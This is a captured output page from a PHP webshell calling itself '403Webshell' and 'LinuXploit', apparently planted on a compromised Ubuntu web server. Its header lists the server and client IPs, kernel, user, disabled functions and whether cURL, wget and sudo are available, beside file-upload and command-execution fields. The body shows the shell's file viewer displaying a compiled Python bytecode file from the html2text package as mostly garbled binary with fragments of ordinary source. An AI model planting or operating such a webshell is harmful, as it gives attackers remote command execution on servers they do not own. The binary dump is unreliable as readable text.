403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/html2text/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/html2text/__pycache__/utils.cpython-312.pyc
�

��eW �
�p�ddlZddlmZmZmZddlmZejj�D��cic]$\}}|dk7rejj||��&c}}Zde
defd�Zd	e
dee
e
ffd
�Zde
dee
ee
e
fffd�Zd
ee
ee
fdee
ee
e
ffdee
e
fdee
e
ffd�Zd	ee
e
fde
fd�Zd	ee
e
fdefd�Zd	ee
e
fdee
fd�Zd	ee
e
fdefd�Zd
ee
ee
fdefd�Zde
dedededef
d�Zde
de
fd�Zd#de
dede
fd�Zdee
d edee
fd!�Zd$de
d ede
fd"�Zycc}}w)%�N)�Dict�List�Optional�)�config�nbsp�tag�returnc�j�|ddk(r+t|�dk(r|d}d|cxkrdkr
t|�Syy)Nr�h�r�0�9)�len�int)r	�ns  �1/usr/lib/python3/dist-packages/html2text/utils.py�hnr
s<��
�1�v��}��S��Q����F����>�c�>��q�6�M����stylec��|jd�D�cgc]}d|vs�|jdd���c}D��cic]@\}}|j�j�|j�j���Bc}}Scc}wcc}}w)z,
    :returns: A hash of css attributes
    �;�:r)�split�strip�lower)r�z�x�ys    r�dumb_property_dictr sn��/4�k�k�#�.>�K��#��(�Q�W�W�S�!�_�K���A�q�	
���	����1�7�7�9�?�?�,�,����K��s�	B�B�AB�datac��|dz
}|jd�}|dk7r5|d|||jd|�dzdz}|jd�}|dk7r�5|jd�D�cgc]&}d|j�vs�|jd���(}}	|D��cic]\}}|j�t|���!}}}|Scc}wcc}}w#t$ri}Y|SwxYw)	z�
    :type data: str

    :returns: A hash of css selectors, each of which contains a hash of
    css attributes.
    :rtype: dict
    rz@import���rrN�}�{)�findrrr �
ValueError)r!�importIndexr�pairs�a�b�elementss       r�dumb_css_parserr-s���	�C�K�D��)�)�I�&�K�
��
��A�k�"�T�$�)�)�C��*E��*I�*K�%L�L���i�i�	�*����
�$(�:�:�c�?�G�a�c�Q�W�W�Y�6F�Q�W�W�S�\�G�E�G��AF�G���A�A�G�G�I�1�!�4�4�G��G��O��

H��G�������O��s0�$C�<C�C�$C�;C�C�C�C�attrs�	style_def�parent_stylec��|j�}d|vrE|d�J�|dj�D](}|jd|zi�}|j|��*d|vr&|d�J�t	|d�}|j|�|S)z�
    :type attrs: dict
    :type style_def: dict
    :type style_def: dict

    :returns: A hash of the 'final' style attributes of the element
    :rtype: dict
    �class�.r)�copyr�get�updater )r.r/r0r�	css_class�	css_style�immediate_styles       r�
element_styler:9s���
����E��%���W�~�)�)�)��w��-�-�/�	$�I�!�
�
�c�I�o�r�:�I��L�L��#�	$��%���W�~�)�)�)�,�U�7�^�<��
���_�%��Lrc� �d|vr
|d}|dvryy)zh
    Finds out whether this is an ordered or unordered list

    :type style: dict

    :rtype: str
    zlist-style-type)�disc�circle�square�none�ul�ol�)r�
list_styles  r�google_list_stylerDTs&���E�!��,�-�
��=�=��rc�
�d|vS)z�
    Check if the style of the element has the 'height' attribute
    explicitly defined

    :type style: dict

    :rtype: bool
    �heightrB)rs r�google_has_heightrGds���u��rc��g}d|vr|j|d�d|vr|j|d�d|vr|j|d�|S)zk
    :type style: dict

    :returns: A list of all emphasis modifiers of the element
    :rtype: list
    ztext-decorationz
font-stylezfont-weight)�append)r�emphasiss  r�google_text_emphasisrKpsZ���H��E�!�����/�0�1��u������l�+�,��������m�,�-��Orc�0�d}d|vr|d}d|k(xsd|k(S)zu
    Check if the css of the current element defines a fixed width font

    :type style: dict

    :rtype: bool
    �zfont-familyzcourier new�consolasrB)r�font_familys  r�google_fixed_width_fontrP�s0���K�����M�*���K�'�D�:��+D�Drc�\�d|vr|d�J�	t|d�dz
Sy#t$rYywxYw)zh
    Extract numbering from list element attributes

    :type attrs: dict

    :rtype: int or None
    �startrr)rr')r.s r�list_numbering_startrS�sQ���%���W�~�)�)�)�	��u�W�~�&��*�*�
���	���	�s��	+�+�para�
wrap_links�wrap_list_items�wrap_tablesc��|s tjj|�ry|dddk(s|ddk(ry|j�}|dddk(rt	|�dkDr	|ddk7ry	|dd
dvr|dddk(s|S|s tj
j|�ryt
tjj|�xstjj|��S)
NTr�z    �	r
z--�-Fr)r[�*z**)
r�RE_LINK�search�lstripr�RE_TABLE�bool�RE_ORDERED_LIST_MATCHER�match�RE_UNORDERED_LIST_MATCHER)rTrUrVrW�strippeds     r�skipwraprf�s���
�&�.�.�/�/��5���A�a�y�F��d�1�g��o���{�{�}�H���!�}����X���!2�x��{�c�7I��
��!�}�
�"�8�A�a�=�D�+@�"�"�"��6�?�?�1�1�$�7��
��&�&�,�,�X�6�	<��+�+�1�1�(�;��r�textc�B�tjjd|�S)zU
    Escapes markdown-sensitive characters within other markdown
    constructs.
    �\\\1)r�RE_MD_CHARS_MATCHER�sub)rgs r�	escape_mdrl�s��
�%�%�)�)�'�4�8�8r�snobc�J�tjjd|�}|r tjjd|�}tjjd|�}tj
jd|�}tjjd|�}|S)zO
    Escapes markdown-sensitive characters across whole document sections.
    riz\1\\\2)r�RE_MD_BACKSLASH_MATCHERrk�RE_MD_CHARS_MATCHER_ALL�RE_MD_DOT_MATCHER�RE_MD_PLUS_MATCHER�RE_MD_DASH_MATCHER)rgrms  r�escape_md_sectionrt�s����)�)�-�-�g�t�<�D���-�-�1�1�'�4�@���#�#�'�'�	�4�8�D��$�$�(�(��D�9�D��$�$�(�(��D�9�D��Kr�lines�right_marginc���|djd�D�cgc]}t|j��|z�� }}t|�}|D]�}|jd�D�cgc]}|j���}}t|�}||kr
|dg||z
zz
}n-||kr(||||z
dD�cgc]}t|�|z��c}z
}|}t||�D��cgc]\}}t	t|�|z|���}}}��g}	|D�]=}|jd�D�cgc]}|j���}}t|j
��td�k(rud}
t||�D��cgc]5\}}|j�|
|t|j��z
zz��7}}}|	jddj|�zdz���d}
t||�D��cgc]5\}}|j�|
|t|j��z
zz��7}}}|	jd	dj|�zdz���@|	Scc}wcc}wcc}wcc}}wcc}wcc}}wcc}}w)
zR
    Given the lines of a table
    padds the cells and returns the new lines
    r�|rMNz-|r[z|-� z| )	rr�rstrip�zip�max�setrrI�join)
rurvr�	max_width�max_cols�line�cols�num_cols�old_len�	new_lines�filler�M�new_colss
             r�reformat_tabler��sg��:?�q�����9L�M�A��Q�X�X�Z��<�/�M�I�M��9�~�H��

��$(�J�J�s�O�4�q����
�4��4��t�9���h���R�D�H�x�/�0�0�D�
��
 ����8�@S�>T�>V�9W�X�A�#�a�&�<�/�X�X�I��H�CF�d�I�BV�
�4>�A�w�C��A���%�w�/�
�	�
�

� �I��>��$(�J�J�s�O�4�q����
�4��4��t�z�z�|���D�	�)��F� ��i�0���A�q����
�f��C����
�O�(;�<�=��H��
���T�C�H�H�X�$6�6��<�=��F� ��i�0���A�q����
�f��C����
�O�(;�<�=��H��
���T�C�H�H�X�$6�6��<�=�>� ���GN��5��Y��
��5����s)�#H?�I�&I	�"I�I�":I�:Ic�:�|jd�}g}d}g}|D]o}tj|vr6|}|s0t||�}|j	|�g}|jd��K|r|j|��_|j|��qdj
|�S)z0
    Provide padding for tables in the text
    �
FrM)rr�TABLE_MARKER_FOR_PADr��extendrIr~)rgrvru�table_buffer�
table_startedr�r��tables        r�pad_tables_in_textr�s���
�J�J�t��E��L��M��I��#���&�&�$�.� -�-�M� �&�|�\�B��� � ��'�!��� � ��$�������%����T�"�#��9�9�Y��r)F)r)�
html.entities�html�typingrrrrMr�	UNIFIABLE�items�entities�name2codepoint�unifiable_n�strrrr r-r:rDrarGrKrPrSrfrlrtr�r�)�k�vs00r�<module>r�s7���'�'��� � �&�&�(����1��F�{�	�M�M� � ��#�Q�&���
�C�
�C�
��c��d�3��8�n���#��$�s�D��c��N�':�";��4���X�c�]�"�#���C��c�3�h��'�(���s�C�x�.��
�#�s�(�^�	�6
�T�#�s�(�^�
��
� 	�T�#�s�(�^�	��	���S�#�X���4��9��$E�4��S��>�E�d�E�
��S�(�3�-�%7� 8�
�S�
�$"�

�"��"�26�"�EI�"�	�"�J9�C�9�C�9�
�C�
�t�
��
� )�$�s�)�)�3�)�4��9�)�X �S� �� �C� ��Ks�)D2

Youez - 2016 - github.com/yon3zu
LinuXploit